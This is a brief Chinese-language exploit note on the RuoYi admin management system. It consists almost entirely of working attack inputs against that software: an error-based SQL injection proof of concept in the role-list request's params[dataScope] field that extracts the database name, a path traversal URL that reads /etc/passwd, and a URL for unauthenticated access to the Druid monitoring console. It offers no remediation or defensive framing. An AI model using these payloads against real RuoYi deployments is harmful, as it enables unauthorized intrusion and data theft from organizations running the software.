app="若依-管理系统"
漏洞位置在"系统管理"里中的"角色管理中"
http://xxxxxxx/system/role/list
POC： pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))
影响版本：RuoYi < v4.5.1
若依管理系统后台任意文件读取
http://xxx/common/download/resource?resource/profile/…/…/…/…/etc/passwd
若依管理系统未授权访问
http://xxx.xxx.xxx.xxx/prod-api/druid/index.html
参考：https://blog.csdn.net/Guapichen/article/details/119212781
原文：https://www.cnblogs.com/xyz315/p/15209340.html